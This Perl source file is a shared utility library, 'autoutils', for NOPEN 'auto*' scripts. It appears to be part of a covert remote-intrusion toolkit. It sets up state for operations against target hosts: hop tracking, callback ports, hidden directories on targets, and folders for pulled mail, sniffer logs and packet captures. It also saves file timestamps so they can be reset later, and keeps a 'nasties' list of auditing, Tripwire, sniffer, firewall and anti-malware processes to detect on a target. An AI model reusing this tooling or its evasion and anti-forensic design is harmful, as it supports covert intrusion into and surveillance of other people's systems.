#!/usr/bin/env perl
##
# Finally centralizing a bunch of these functions. They should be
# usable by most NOPEN ../etc/auto* PERL scripts with the line shown
# below in the command line usage for /current/etc/autoutils -h.
#
# NOTE: autoutils own version number must not be in $VER or $version.
$autoutilsver = "v1.4.0.23";
# 
use File::Basename ;
#use File::Basename qw(basename dirname);
use IO::Socket::INET;
use IO::Select;
use POSIX;
require "getopts.pl";		# This is the old method, function is Getopts().
use Getopt::Std qw(getopts getopt);
require Time::Local;
$starttime = time();
unless ($^O =~ /win/i) {
# No idea what this zoneinfo crap was used for...
#  `find /usr/share/zoneinfo/ | sed "s,.*/,,g" | sort -u > /tmp/allzones.autoutils`
#    unless (-s "/tmp/allzones.autoutils");
#  foreach (split(/\n/,readfile("/tmp/allzones.autoutils"))) {
#    $validtimezone{$_}++;
#  }
  $COLOR_SUCCESS="\033[2;32m";
#  $COLOR_SUCCESS="\033[3;42m";
  $COLOR_FAILURE="\033[2;31m";
#  $COLOR_FAILURE="\033[31;07m";
#  $COLOR_FAILURE="\033[33;41m";
  $COLOR_BADFAILURE="\033[33;41m";
  $COLOR_BADFAILURE="\033[31;07m";
  $COLOR_WARNING="\033[1;33m";
  $COLOR_WARNING="\033[3;43m";
  $COLOR_NORMAL="\033[0;39m";
  $COLOR_NOTE="\033[0;34m";
}
#Opwide globals
$privateinterface = "eth1";
$publicinterface = "eth0";
# 1910 is older nopens, 3.1+ can go bigger, we use 7500 there
# which is set when parsestatus is called
$nopenmaxcommandlength = 1910 ;

#Define $op dir variables
$opdir = "/current" ;
$opdir = "/tmp"
  unless (-w $opdir);
#mywarn("Using /tmp as \$opdir in autoutils")
#  if ($opdir eq "/tmp");
$opup = "$opdir/up" ;
$opbin = "$opdir/bin" ;
$opetc = "$opdir/etc" ;
$opdown = "$opdir/down" ;
$optmp = "$opdir/tmp" ;


#dbg("No WORKY:from utils
#rootcbport=$rootcbport=
#usercbport=$usercbport=
#whoami=$whoami=
#noprep=$noprep=
#gbl_nopromptsplease=$gbl_nopromptsplease=
#gbl_nopenkeepalive=$gbl_nopenkeepalive=
#".`/bin/ls -ald $opetc /current $opetc/nop*`."

#");



$pp_utils = getppid();
$prog = basename $0 ;
$vertext = "$prog version $VER\n" ;
dbg("in autoutils $autoutilsver");
$| = 1;
$calledviacommandline = 1;

if (length $ENV{NOPEN_AUTOPORT}) {
  $nopen_autoport = $ENV{NOPEN_AUTOPORT} ;
  $nopen_mypid = $ENV{NOPEN_MYPID} ;
  my $problem=0;
  $problem++ unless ($nopen_autoport == int($nopen_autoport));
  $problem++ unless ($nopen_autoport =~ /^\d+$/);
  $problem++ if ($nopen_autoport =~ /\s/);
  undef $nopen_autoport if ($problem);

  $calledviacommandline = !$nopen_rhostname;
  $nopen_nhome          = $ENV{NHOME} ;
  $nopen_rhostname_orig = $ENV{NOPEN_RHOSTNAME_ORIG} ;
  $nopen_rhostname_orig = $ENV{NOPEN_RHOSTNAME}
    unless $nopen_rhostname_with_orig ;
  ($nopen_hostonly_orig) = $nopen_rhostname_orig =~ /(.*)\.\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ;
  if (open(NAMEFIXIN,"$optmp/$nopen_mypid.namefix")) {
    while (my $l = <NAMEFIXIN>) {
      #dbg("from l=$l=");
      chomp($l);
      my ($name,$value) = $l =~ /([^=]*)=\"(.*)\"$/;
      $name = lc $name;
      if ($name =~ /^[a-z0-9_]+$/) {
	#dbg("Setting: eval \"\$$name = \\\"$value\\\"");
	eval "\$$name = \"$value\"";
      } else {
	mywarn("autoutils called by prog=$prog: Ignoring malformed line in $optmp/$nopen_mypid.namefix:

line=$_=
name=$name=
value=$value=

");
      }
    }
    close(NAMEFIXIN);
  } else {
    $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ;
    #dbg("No file $optmp/$nopen_mypid.namefix to bother with");
  }
  $nopen_rhostname_with_badchars = $ENV{NOPEN_RHOSTNAME_WITH_BADCHARS}
    unless ($nopen_rhostname_with_badchars);
  $nopen_rhostname_with_parens = $ENV{NOPEN_RHOSTNAME_WITH_PARENS} ;
  if ($nopen_rhostname =~ m,/,) {
    $nopen_rhostname =~ s,/,__,g;
    #dbg("Fixed now nopen_rhostname=$nopen_rhostname=");
    foreach my $dir ($opdown,
		     $optmp,
		     $opetc,
		    ) {
      next if -d "$dir/$nopen_rhostname";
      #dbg("mkdiring $dir/$nopen_rhostname");
      mkdir("$dir/$nopen_rhostname");
    }
  }

}    

$nonopen=0;

if ($nopen_rhostname and $nopen_mypid and $nopen_autoport) {
  chomp($nopen_server_os = `grep "^OS:" /current/down/hostinfo.$nopen_rhostname 2>/dev/null`)
    unless $nopen_server_os ;
} else {
  $nonopen=1;
}
  unless ($nonopen) {

      $opmail = "$opdown/mailpull/$nopen_rhostname" ;

      $opsniff = "$opdown/sniffer/$nopen_rhostname" ;
  
      # For target screen caps, not ours
      $opscreencaps = "$opdown/SCREEN_CAPTURE/$nopen_rhostname" ;

      # For target pcaps, not ours
      $oppcaps = "$opdown/PACKET_CAPTURE_DATA/$nopen_rhostname" ;

      # For router specific output, not regular unix stuff on a router
      $oprouterdir = "$opdown/ROUTER/$nopen_rhostname";

      $optargetcommands = "$opdown/${nopen_rhostname}_targetcommands" ;

      foreach my $d	($opmail ,
			$opsniff ,
			$opscreencaps ,
			$oppcaps ,
			$oprouterdir ,
			$optargetcommands ,
			) { mkdir $d unless (-d $d) };

      chomp($nopen_myhostinfo = `ls -rt $opdown/hostinfo.$NOPEN_RHOSTNAME* 2>/dev/null | tail -1`);
      $nopen_mynorc = "$opetc/norc.$nopen_rhostname";
      $nopen_mylog = $ENV{NOPEN_MYLOG} ;
      $nopen_mylog =~ s,current/[^/]+/../down,current/down,;
      $nopen_mylog =~ s,/+(down|bin|etc|up)/+../+down,/down,;
      if ($nopen_mylog) {
        (my $downfile) = $nopen_mylog =~ /(down.*)/;
        $downfile =~ s,down\/..\/down,down,;
        $nopen_mylog = "$opdir/$downfile"
          if ($downfile and (-f "$opdir/$downfile"));
      }
      ($nopen_hostonly) = $nopen_rhostname =~ /(.*)\.\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ;
      $nopen_hostonlyexpr = $nopen_hostonly;
      $nopen_hostonlyexpr =~ s,[\s\[\]\{\}\$],.,g;

      ($nopen_myip) = $nopen_rhostname =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/ ;
      $nopen_server_os = $ENV{NOPEN_SERVERINFO} ;
      $nopen_serverinfo = $ENV{NOPEN_SERVERINFO} ;
      my $lcinfo = lc $nopen_serverinfo;
      ($mirapointtarget) = lc $lcinfo =~ /(mirapoint)/;
      ($sunostarget)     = $lcinfo =~ /(\S*sunos\S*)/i;
      ($sparctarget)     = $lcinfo =~ /(sparc|sun4)/i;
      ($sparc64target)   = $lcinfo =~ /(sparc64)/i;
      ($armtarget)       = $lcinfo =~ /(arm)/i;
      ($linuxtarget,$linuxkernel)     = $lcinfo =~ /(linux\S*)\s+(\S+)/i;
      ($targetos)        = $lcinfo =~ /\s*(\S+)/;
      unless ($sparctarget or $sparc64target) {
          ($intel64target) = $lcinfo =~ /([xi].{0,1}86[_]{0,1}64)/;
          ($inteltarget)   = $lcinfo =~ /([xi].{0,1}86)/;
      }
      ($solaristarget,
       $solaristype,
       $solaristargetversion)
        = $lcinfo =~ /((sunos|solaris)\s*(\d+\.\d+))/;
      ($aixtarget)     = $lcinfo =~ /(\S*aix\S*)/i;
      ($hpuxtarget)    = $lcinfo =~ /(\S*hp(-){0,1}ux\S*)/i;
      ($routertarget)  = $lcinfo =~ /(ios).*/i;
      ($freebsdtarget,
       $freebsdtargetversion)= $lcinfo =~ /(freebsd\s*(\S*))/;
      ($darwintarget,
       $darwintargetversion)= $lcinfo =~ /(darwin\s*(\S*))/;
      ($junostarget,
       $junostargetversion)  = $lcinfo =~ /(junos\s*([\.\d]+))/;
    
      # Save our host type in $
    
      # Define our norc.PLATFORM here
      $targetplatform = "";
      $targetplatform = "aix" if (0);
      $targetplatform = "bsd" if (0);
      $targetplatform = "bsdi" if (0);
      $targetplatform = "darwin" if (0);
      $targetplatform = "freebsd" if ($freebsdtarget);
      $targetplatform = "hp-ux" if ($hpuxtarget);
      $targetplatform = "ios" if ($routertarget);
      $targetplatform = "irix" if (0);
      $targetplatform = "junos" if ($junostarget);
      $targetplatform = "linux" if ($linuxtarget);
      $targetplatform = "mirapoint" if ($mirapointtarget);
      $targetplatform = "openbsd" if (0);
      $targetplatform = "sco_sv" if (0);
      $targetplatform = "solaris" if ($solaristarget);
      $targetplatform = "unix_sv" if (0);
    
      # Use the 2.* nomenclature for solaris, to match
      # what our tarball VERSION files use.
      $solaristargetversion =~ s/^5/2/g;
    
      $solariszonecapable = ((substr($solaristargetversion,0,3) eq "2.1" and
			     $solaristargetversion >= 2.10) or
			     $solaristargetversion >= 3) ? 1 : 0;
    
      $nopen_clientver = $ENV{NOPEN_CLIENTVER} ;
      #} else {
      #  if ($nopen_mypid) {
      #    chomp(my $noclientbin = `pschain $nopen_mypid 2>/dev/null | head -1 | awk '{print \$8}'`);
      #  }
      #  $noclientbin = "noclient" unless $noclientbin;
      #  chomp($nopen_clientver = `$noclientbin 2>/dev/null| grep NOPEN | sed "s/.* v//g"`);
      #  unless ($nopen_clientver) {
      #    chomp($nopen_clientver = `noclient 2>/dev/null| grep NOPEN | sed "s/.* v//g"`);
      #  }
      #  $ENV{NOPEN_CLIENTVER}=$nopen_clientver ;
    }
    #if (length $ENV{NOPEN_AUTOPORT}): Sets a bunch of NOPEN globals
    
    
    # Will populate this if image does not yet have it
    unless (-d "/usr/lib/p7zip/") {
      `mkdir -p /usr/lib/p7zip 2>/dev/null && cp -p $opbin/7zip/* /usr/lib/p7zip 2>/dev/null && cp -p $opbin/7zip/sh/* /usr/local/sbin/ 2>/dev/null`;
    }


$nocwd = "";			# NOPEN cwd
mkdir($optmp,0700) unless (-d $optmp and -w _);
$ext = "$$" ;			# some uniqueness to me

# New fix for local globbing of remote * and ? characters

for (my $i=0; $i<@ARGV; $i++) {
    while ($ARGV[$i] =~ /___([A-Z]{1,12})___/) {
        if ($1 eq "STAR") {
            $ARGV[$i] =~ s,___STAR___,\*,;
        } elsif ($1 eq "QMARK") {
            $ARGV[$i] =~ s,___QMARK___,\?,;
        }
    }
}


$gsoptions = "@ARGV" ;
$calledas = "$0 @ARGV";
$origargs = "@ARGV" ;
%testrun=();
$nostdout=0;
$gostraightthere = 0;
$gbl_nopenkeepalive = 0 unless defined $gbl_nopenkeepalive;

# v. 1.4+ Python section. Python processes can call autoutils via os.system();
# we then write out all the useful stuff we just set as a Python module,
# $optmp/pynopen.$ppid.py, that Python process' pid. Then we exit.
my (@pprocess) = grep /[a-z]\s+$pp_utils\s/ , `ps -efwwww`;
if (my ($caller) = $pprocess[0] =~  /python (\S+(auto[^\n]+))/) {
    chomp (my $pathtopython = `which python`);
    my ($autoprog) = $caller =~  /(auto\S+)/;
    if (open(PYOUT,">$optmp/pynopen.$pp_utils.py")) {
	chmod 0700, "$optmp/pynopen.$pp_utils.py";
	print PYOUT <<EOFPY;
#!/usr/bin/env python

import sys

#INTS
starttime = $starttime
#nopen_autoport = $nopen_autoport
#nopen_mypid = $nopen_mypid

#STRINGS
autoutilsver = '$autoutilsver'
ostype='$^O'
calledviacommandline = '$calledviacommandline'
nopen_rhostname_orig = '$nopen_rhostname_orig'
#nopen_rhostname = '$nopen_rhostname'
nopen_hostonly_orig = '$nopen_hostonly_orig'
nopen_hostonly = '$nopen_hostonly'
opdir = '$opdir'
opup = '$opup'
opdown = '$opdown'
opbin = '$opbin'
optmp = '$optmp'
opmail = '$opmail'
opsniff = '$opsniff'
#nopen_mylog = '$nopen_mylog'
#nopen_serverinfo = '$nopen_serverinfo'

# Booleans in perl, strings in Python
inteltarget = '$inteltarget'
intel64target = '$intel64target'
sunostarget = '$sunostarget'
sparctarget = '$sparctarget'
sparc64target = '$sparc64target'
armtarget = '$armtarget'
linuxtarget = '$linuxtarget'
targetos = '$targetos'
solaristarget = '$solaristarget'
solaristype = '$solaristype'
solaristargetversion = '$solaristargetversion'
aixtarget = '$aixtarget'
hpuxtarget = '$hpuxtarget'
routertarget = '$routertarget'
junostarget = '$junostarget'
junostargetversion = '$junostargetversion'
freebsdtarget = '$freebsdtarget'
freebsdtargetversion = '$freebsdtargetversion'
darwintarget = '$darwintarget'
darwintargetversion = '$darwintargetversion'
targetplatform = '$targetplatform'
solaristargetversion = '$solaristargetversion'
solariszonecapable = '$solariszonecapable'
nopen_clientver = '$nopen_clientver'
nopenmaxcommandlength = '$nopenmaxcommandlength'
privateinterface = '$privateinterface'
publicinterface = '$publicinterface'
gsoptions = '$gsoptions'
calledas = '$calledas'
origargs = '$origargs'


if __name__ == '__main__':    
    print COLOR_FAILURE
    print 'pynopen.$pp_utils.py is a Python module.\\n\\n' \\
        'It was made by $autoprog while on host:\\n     %s\\n' % nopen_rhostname
    print COLOR_NORMAL
    print 'It is not meant to be called directly, rather via import by $autoprog.\\n'
    print 'made by autoutils v. %s' % autoutilsver

EOFPY

        close(PYOUT);
	use File::Copy ;
	
	copy("$optmp/pynopen.$pp_utils.py","$optmp/pynopenlatest.py");
	copy("$optmp/pynopen.$pp_utils.py","$opdown/pynopenlatest.py");
    }
    dbg("pprocess=$pprocess[0]=

caller=$caller=
autoprog=$autoprog=
pprocess=(@pprocess)\n");
    exit();

}
maketunnelscripts();

foreach (@ARGV) {
  $pass = 2 if $_ eq "secondpass" ;
  $pass = 3 if $_ eq "thirdpass" ;
  if (/fromsurvey/) {
    $fromsurvey=1;
    next;
  }
}
@mons = ( Jan,  Feb,  Mar,  Apr,  May,  Jun,  Jul,  Aug,  Sep,
	  Oct,  Nov,  Dec,  );
@days = ( Sun,  Mon,  Tue,  Wed,  Thu,  Fri,  Sat,  Sun,  );

%monnumstr = ("01","Jan",	     "1","Jan",
	      "02","Feb",	     "2","Feb",
	      "03","Mar",	     "3","Mar",
	      "04","Apr",	     "4","Apr",
	      "05","May",	     "5","May",
	      "06","Jun",	     "6","Jun",
	      "07","Jul",	     "7","Jul",
	      "08","Aug",	     "8","Aug",
	      "09","Sep",	     "9","Sep",
	      "10","Oct",
	      "11","Nov",
	      "12","Dec",
	     );
%nummon = ( Jan, "00",  Feb, "01",  Mar, "02",  Apr, "03",
	    May, "04",  Jun, "05",  Jul, "06",  Aug, "07",
	    Sep, "08",  Oct, "09",  Nov, "10",  Dec, "11",
	  );

if ($prog =~ m,^autoutils,) {
  my $subroutines = "\n  ";
  if (open(IN,"$0")) {
    my @subs = ();
    while (<IN>) {
      next unless (my $name) = /^\s*sub\s+(\S+)/;
      $name =~ s/[\(\)]//g;
      push(@subs,$name);
    }
    close(IN);
    my $linecount=1;
    foreach my $name (sort @subs) {
      $subroutines .= sprintf("%-21s",$name);
      $subroutines .= "\n  " unless $linecount++ % 3;
    }
    $subroutines = "Subroutines in autoutils:\n$subroutines\n\n";
  }
  print STDERR "\n";
  my $output="$prog is not to be called directly.\n$COLOR_NORMAL\t".
    "It is to be sourced/included by other scripts, via:\n\n".
      "             my \$autoutils = \"../etc/autoutils\" ;\n".
	"             unless (-e \$autoutils) {\n".
	  "               \$autoutils = \"/current/etc/autoutils\" ;\n".
	    "              }\n".
	      "             require \$autoutils;\n\n".
		$subroutines.
		  "autoutils $autoutilsver\n";
  mydie($output);
}

refreshnoclientinfo();

# More Globals, set even with just the require autoutils (need not call
# any autoutils functions to set these).
#
# These are now globals, set to null here unless already set
# used mainly by stoicctrl stuff.
$calledviarequire = 0 unless defined $calledviarequire;
$global_varfile = "$opdown/hostvars.global";
$hostvarfile = "$opdown/hostvars.$nopen_rhostname";
$hostvarfile = "" unless $nopen_rhostname;




if (-e "$opetc/nocallbackprompt" ) {
  newhostvar("gbl_gostraightthere",1);
}

if (-e "$opetc/nopromptsplease") {
  newhostvar("gbl_nopromptsplease",1);
dbg("nopromptsplease (supposed to be 1)=$gbl_nopromptsplease=");
} else {
  newhostvar("gbl_nopromptsplease", 0);
}
if (-e "$opetc/nocallbackprompt.$nopen_rhostname") {
  newhostvar("host_gostraightthere",1);
}
if (-e "$opetc/nopenstayon") {
  newhostvar("gbl_nopenstayon", 1);
}
if (-e "$opetc/nopenstayon.$nopen_rhostname") {
  newhostvar("host_nopenstayon", 1);
}

if (-e "$opetc/nopromptsplease.$nopen_rhostname") {
  newhostvar("host_gostraightthere",1);
  newhostvar("host_nopromptsplease",1);
}
#Default keepalives if enabled
if (-e "$opetc/nopenkeepalive" or -e "$opetc/nopenkeepalive.$nopen_rhostname" or $gbl_nopenkeepalive > 0) {
  newhostvar("gbl_nopenkeepalive",180);
  newhostvar("gbl_nopenkeepalive",$gbl_nopenkeepalive) if ($gbl_nopenkeepalive > 0);
  my $tmpval = readfile("$opetc/nopenkeepalive");
  $tmpval = readfile("$opetc/nopenkeepalive.$nopen_rhostname") if (-e "$opetc/nopenkeepalive.$nopen_rhostname");
  newhostvar("gbl_nopenkeepalive",$tmpval) if ($tmpval > 0);
} else {
#dbg("WTF: no -e $opetc/nopenkeepalive??\n".`ls -alrt $opetc/nopenkeepalive`);
}


# More globals, generic can be reused but set/use immediately
# or use to set other scoped variables.
$gen_a = "" unless defined $gen_a;
$gen_b = "" unless defined $gen_b;
$gen_c = "" unless defined $gen_c;
@gen_a = "" unless defined @gen_a;
@gen_b = "" unless defined @gen_b;
@gen_c = "" unless defined @gen_c;


# This is set if at some point "autodone" or "autonewdone" was $prog
$autodone = 0
  unless defined $autodone;
$autodone++ if ($prog =~ /autodone/ or
		$prog =~ /autonewdone/ or
		$prog =~ /autorunonce/
	       );

#dbg("autodone=$autodone= in autoutils with prog=$prog");

# These globals about our current host are in $hostvarfile, which
# we are about to source. Must set them here before the do call can
# re-set the same scope.

# %host_rsyncedtoday
%host_rsyncedtoday = ()
  unless defined %host_rsyncedtoday; # Key=remote filepath     Value=time() it was rsynced today

# %host_gottimes
%host_gottimes = ()
  unless defined %host_gottimes; # Key=remote filepath     Value=Ctrl result(multi-line string)

# For AUTO CHECKIN

%gbl_pitchips = ()
  unless defined %gbl_pitchips;       # Key is IP, value is target line. Re-set from
				      # Targets section every call to bwsofar()
%gbl_internalIP = ()
  unless defined %gbl_internalIP;     # Key is string describing when it was used.
                                      # Value is IP address.
%gbl_externalIP = ()
  unless defined %gbl_externalIP;     # Key is string describing when it was used.
                                      # Value is IP address.
%gbl_pitchcheckin = ()
  unless defined %gbl_pitchcheckin;   # Key is IP address,
                                      # Value is in the form /\d.*/, with
                                      #    \d === 0,1,2 === (NOCHECKIN,CHECKIN,TECHCHECK)
                                      #    and the remainder is the ADDITIONS
                                      #    to the notes/comments field
%gbl_publiccheckin = ()
  unless defined %gbl_publiccheckin;  # Key is IP address,
                                      # Value is in the form /\d.*/, with
                                      #    \d === 0,1,2 === (NOCHECKIN,CHECKIN,TECHCHECK)
                                      #    and the remainder is the ADDITIONS
                                      #    to the notes/comments field

%gbl_routerhost = ()
  unless defined %gbl_routerhost;     # Key is IP address,
                                      # Value is $lcinfo a.k.a. lc $NOPEN_SERVERINFO.


# %gbl_nopenhosts  and  %gbl_nopenhops are inverses of
# each other. Do we need both? Keep for now.
%gbl_nopenhosts = ()
  unless defined %gbl_nopenhosts; # Key=name     Value=hopcount
%gbl_nopenhops = ()
  unless defined %gbl_nopenhops; # Key=hopcount Value=name


$gbl_firstnopen_rhostname = ""
  unless defined $gbl_firstnopen_rhostname;

# Keyed on scalar gmtime(), contains output saved at that time
%host_output = ()
  unless defined %host_output;

# Keyed on $nopen_mypid, differs by window on same host..
%host_lastdoitontarget = ()
  unless defined %host_lastdoitontarget;
%host_lastgetenvontarget = ()
  unless defined %host_lastgetenvontarget;
%host_lastsetenvontarget = ()
  unless defined %host_lastsetenvontarget;
%host_lastgetenvoutput = ()
  unless defined %host_lastgetenvoutput;

# PATH differs by window, key is $nopen_myip
%host_path = ()
  unless defined %host_path;

# %host_strings and %host_regexps are catch-all hashed arrays. E.g., autoquickbail can set
# $host_regexps{"quickbail"} to be a string it wants later instances of
# quickbail to reference.
%host_strings = ()
  unless defined %host_strings;
%host_regexps = ()
  unless defined %host_regexps;

# %host_cksums holds target cksum output for files pulled by nopenlss/nopengetfiles
# e.g., $host_cksums{"cksum"} == "/bin/cksum".
%host_cksums = ()
  unless defined %host_cksums;

# %host_bins holds which (-lss -P) results for binaries on target, path only no listing,
# e.g., $host_bins{"cksum"} == "/bin/cksum".
%host_bins = ()
  unless defined %host_bins;

# These directories have had offerball call createtarball 
# $dir when $host_dirpushed{$dir} is positive.
%host_dirpushed = ()
  unless defined %host_dirpushed;

# More than one hidden dir per target is possible,
# key here is directory hidden on this host.
%host_hiddendirs = ()
  unless defined %host_hiddendirs;

# Want ALL triggers in global, key is $nopen_myip
%gbl_trigger = ()
  unless defined %gbl_trigger;

# Global for sub filetimesave() and sub fileresettimes()
# key: $remotefile value: -touch -t line for it to touch back
%host_touchlater = ()
  unless defined %host_touchlater;


$host_trigger = ""
  unless defined $host_trigger;


$host_uname = ""
  unless defined $host_uname;
$host_wuptime = ""
  unless defined $host_wuptime;
$host_fqdn = ""
  unless defined $host_fqdn;
#$host_maclist = ""
#  unless defined $host_maclist;


$host_iplist = ""
  unless defined $host_iplist;

$host_wrapsiftbinsconfirmed = ""
  unless defined $host_wrapsiftbinsconfirmed;

$host_hiddendirlisting = ""
  unless defined $host_hiddendirlisting;

$host_hiddendir = ""
  unless defined $host_hiddendir;

$host_hiddendir_not_found = ""
  unless defined $host_hiddendir_not_found;
$hiddendir_viastoic = ""
  unless defined $hiddendir_viastoic; # This is now a COUNT of STOIC hidden dirs
$ctrluploaded = ""
  unless defined $ctrluploaded;
$host_workingdir = ""
  unless defined $host_workingdir;
$host_nonhiddenworkingdir = ""
  unless defined $host_nonhiddenworkingdir;
$gbl_opstarttime = ""
  unless defined $gbl_opstarttime;
$gbl_fwopuser = ""
  unless defined $gbl_fwopuser;
$gbl_opuser = ""
  unless defined $gbl_opuser;
$gbl_oppasswd = ""
  unless defined $gbl_oppasswd;  # This is nulled with a call to opuser(CLEAR), prior to end of op
$gbl_opproject = ""
  unless defined $gbl_opproject;
$gbl_opschedule = ""
  unless defined $gbl_opschedule;
$gbl_callbackresets = ""
  unless defined $gbl_callbackresets;
$gbl_callbackinterval = ""
  unless defined $gbl_callbackinterval;
$stoicctrlfile = ""
  unless defined $stoicctrlfile;
$host_rsyncuploaded = ""
  unless defined $host_rsyncuploaded;
%host_rsynctunnelportactive = ()
  unless defined %host_rsynctunnelportactive;


$uncompressopts = ""
  unless defined $uncompressopts;
$gunzipopts = ""
  unless defined $gunzipopts;
$bunzip2opts = ""
  unless defined $bunzip2opts;
@nopengotfiles = ()		# Global populated by nopengetfiles()
  unless defined @nopengotfiles;

$timelastcmd = 0
  unless defined $timelastcmd;	# Global used by tickleifneedbe

# $ = "" unless defined $;

# Global so mydie() here can kill popups we want it to
@killstrings = () unless defined @killstrings; # used to kill our child popups


# Global hash, mapping our $nopen_rhostname to each PID laucnhed on that host.
%nopenpids = ()
  unless defined %nopenpids;

# Do global first - it resets hashes in $hostvarfile for each host
if ($global_varfile and
    -s $global_varfile
   ) {
  do $global_varfile;
}

## Do mine last
if ($hostvarfile and
    -s $hostvarfile
   ) {
  do $hostvarfile;
}

# Set global if we appear to be non-normal unix
newhostvar("gbl_routerhost{$nopen_myip}",$lcinfo)
  if (($junostarget # or TODO: Or other stuff?
      ) and $lcinfo
      and ($lcinfo ne $gbl_routerhost{$nopen_myip}));


# Global $host_initpid, pid of init on target if we are connected
newhostvar("host_initpid",1)
    unless (defined $host_initpid);
$initpid = $host_initpid;

checklocalip();

#dbg("Just did $hostvarfile containing:\n".`cat $hostvarfile`)
# if (-s $hostvarfile);

@host_hiddendirs = keys %host_hiddendirs;
if (!$host_hiddendir and $host_hiddendirs[0]) {
  $host_hiddendir = $host_hiddendirs[0];
}
@host_shorthiddendirs = setshortdirs(@host_hiddendirs);
# This is now a COUNT of STOIC hidden dirs
$hiddendir_viastoic = scalar keys %host_hiddendirs;


# Now that the hostvar* files are read in, set this variable if 
# this is our first hop. 
if ($nopen_rhostname and ! $gbl_firstnopen_rhostname) {
  # gbl_ means  newhostvar puts it in global instead.
  newhostvar("gbl_firstnopen_rhostname",$nopen_rhostname);
}

my $hopssofar = scalar keys %gbl_nopenhosts;
#dbg("IN prog=$prog starting with hopssofar=$hopssofar= ");

#foreach my $i (sort keys %gbl_nopenhosts) {
#  dbg("BEFORE GOT gbl_nopenhosts{$i}=$gbl_nopenhosts{$i}=");
#}
#foreach my $i (sort by_num keys %gbl_nopenhops) {
#  dbg("BEFORE GOT gbl_nopenhops{$i}=$gbl_nopenhops{$i}=");
#}

# Set these as globals on our first time in
if ($nopen_rhostname and (! $gbl_nopenhosts{$nopen_rhostname})) {
  $hopssofar++;
  newhostvar("gbl_nopenhosts{$nopen_rhostname}",$hopssofar,
	     "gbl_nopenhops{$hopssofar}",$nopen_rhostname,
	     "gbl_nopenips{$nopen_myip}",$hopssofar,
	     "gbl_nopenconnect{$nopen_rhostname}", scalar time()
	    );

  #  dbg("IN prog=$prog middling with hopssofar=$hopssofar= ");

}
$hopssofar = scalar keys %gbl_nopenhosts;
#dbg("IN prog=$prog enddingg with hopssofar=$hopssofar= ");



#foreach my $i (sort keys %gbl_nopenhosts) {
#  dbg("AFTER GOT gbl_nopenhosts{$i}=$gbl_nopenhosts{$i}=");
#}
#foreach my $i (sort by_num keys %gbl_nopenhops) {
#  dbg("AFTER GOT gbl_nopenhops{$i}=$gbl_nopenhops{$i}=");
#}


# If $socket is open and we do not yet know it,
# we find the hidden directory ALWAYS FIRST THING.
if ($socket and !$host_hiddendir and !$routertarget) {
  my ($hdir,$shdir,@lsoutput) =
    gethiddendir();
}
# We also rebuild our hash ALWAYS FIRST THING.
#if (!$nonopen and !defined %nopenpids) {
if (!$nonopen) {
  my $name = basename $0;
  makepidhash() if ($name =~ /^auto.*/);
}

# However, for some calling programs we want to NOT use this
#dbg("HERE prog=$prog=");
if ($prog =~ /(-gs |auto)(runonce|done)/) {
  $host_hiddendir_not_found = "";
}

@nonerrs = () unless defined @nonerrs;
($completeoutput,@completeoutput,@errs,$results,
 @results,%results) = () unless
  defined @completeoutput or  defined @results  or defined @errs;

$allwindows = 0 ;	# For nopenaddpath()

$optooldir = "$opdown/UsedTools.$nopen_rhostname";
%filesizes = () ;	# key is remote filename, value is bytes
%filedates = () ;	# key is remote filename, value is YYYYMMDD date
%fileperms = () ;	# key is remote filename, value is file perms
%filetypes = () ;	# key is remote filename, value [bcdfls] (changed '-' to 'f')


# logtool stuff
@toolusages = ("ACCESSED","EXERCISED","DEPLOYED","CHECKED","REMOVED");
@toolsuccesses = ("SUCCESSFUL","FAILED");



# LSS stuff
$forcelssstop = "$optmp/StopLSSnow";

$stoicctrlfile = mystoicctrl(noprompt) 
  unless ($prog =~ /autogetinput/);

%nasties = ();
if ($prog =~ /(burn|check|done|ps)/i) {
    %nasties = (
	# This global is used in autopscheck and autopscolor.
	# Keep these sorted by left column.
	"auditd\$"				=> "Auditing Daemon",
	"[ds]trace]"				=> "Process tracing",
	"symond"				=> "System Monitor (Solaris)",
	"csx"					=> "ConfigExploit Scanner--often comes with csf as well",
	"csx.pl"				=> "ConfigExploit Scanner--often comes with csf as well",
	"csxwatch"				=> "ConfigExploit Scanner--often comes with csf as well",
	"csf"					=> "ConfigServer Firewall/Linux Firewall Daemon--can log conns in lfd.log and messages",
	"drwebd"				=> "Dr. Web",
	"eth[0-9]"				=> "Network interface",
	"hme[0-9]"				=> "Network interface",
	"ipf"					=> "IPFilter (BSD)",
	"iptables"				=> "IPTables (Linux)",
	"lfd"					=> "ConfigServer Firewall/Linux Firewall Daemon--can log conns in lfd.log and messages",
	"lmd"					=> "MALDETECT",
	"maldet"				=> "MALDETECT",
	"prstat"				=> "Process lister (Solaris)",
	"qemu"					=> "Qemu VM Software",
	"snoop"					=> "Network sniffer (Solaris)",
	"sunscreen"				=> "Sunscreen Firewall (Solaris)",
	"su( -){0,1}\$"				=> "Root login",
	"tcpdump"				=> "Network sniffer",
	"[/ ]top"				=> "Process lister",
	"/trip"					=> "Tripwire",
	"tripw"					=> "Tripwire",
	"/tw/"					=> "Tripwire",
	"ufsdump"				=> "Disk Dumper",
	"virtual"				=> "Unknown Virtual Machine?",
	"vmw"					=> "VMware",
	"xen"					=> "Xen VM Software",
	"/ksg(http|ftp|auth|control)"		=> "(CA-Jinchen) KILL Shield Gateway",
           );
}

@rsyncdirs = split(/\n/,`ls -1d $opdown/$nopen_rhostname/via-gs.rsync* $opdown/NOSEND/$nopen_rhostname/via-gs.rsync* 2>/dev/null`);
closedir(LSSDIR);

# Globals, only run parsestatus once per autoutils, return last values
# if already done.
($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,
 $localppid,$serverver,$wdir,$targetos,$targetcwd,$targetpid,
 $targetppid,$targetport,$localport,@statusoutput) = ();

@excludeports = ();


(%gbl_projectshash,%gbl_aliaseshash,
 %gbl_depthhash,
 %gbl_hostnamehash,
 %gbl_statushash,
 %gbl_typehash,
 %gbl_commentshash,
 %gbl_targetline,
)
  = ();

($gbl_project,$gbl_targets,@gbl_projectlist) =
  opnotesprojects(\%gbl_projectshash,
		  \%gbl_aliaseshash,
		  \%gbl_depthhash,
		  \%gbl_hostnamehash,
		  \%gbl_statushash,
		  \%gbl_typehash,
		  \%gbl_commentshash,
		  \%gbl_targetline,
		 );

#dbg("Globals set in autoutils:
#lcinfo=$lcinfo=
#nopen_serverinfo=$nopen_serverinfo=
#aixtarget=$aixtarget=
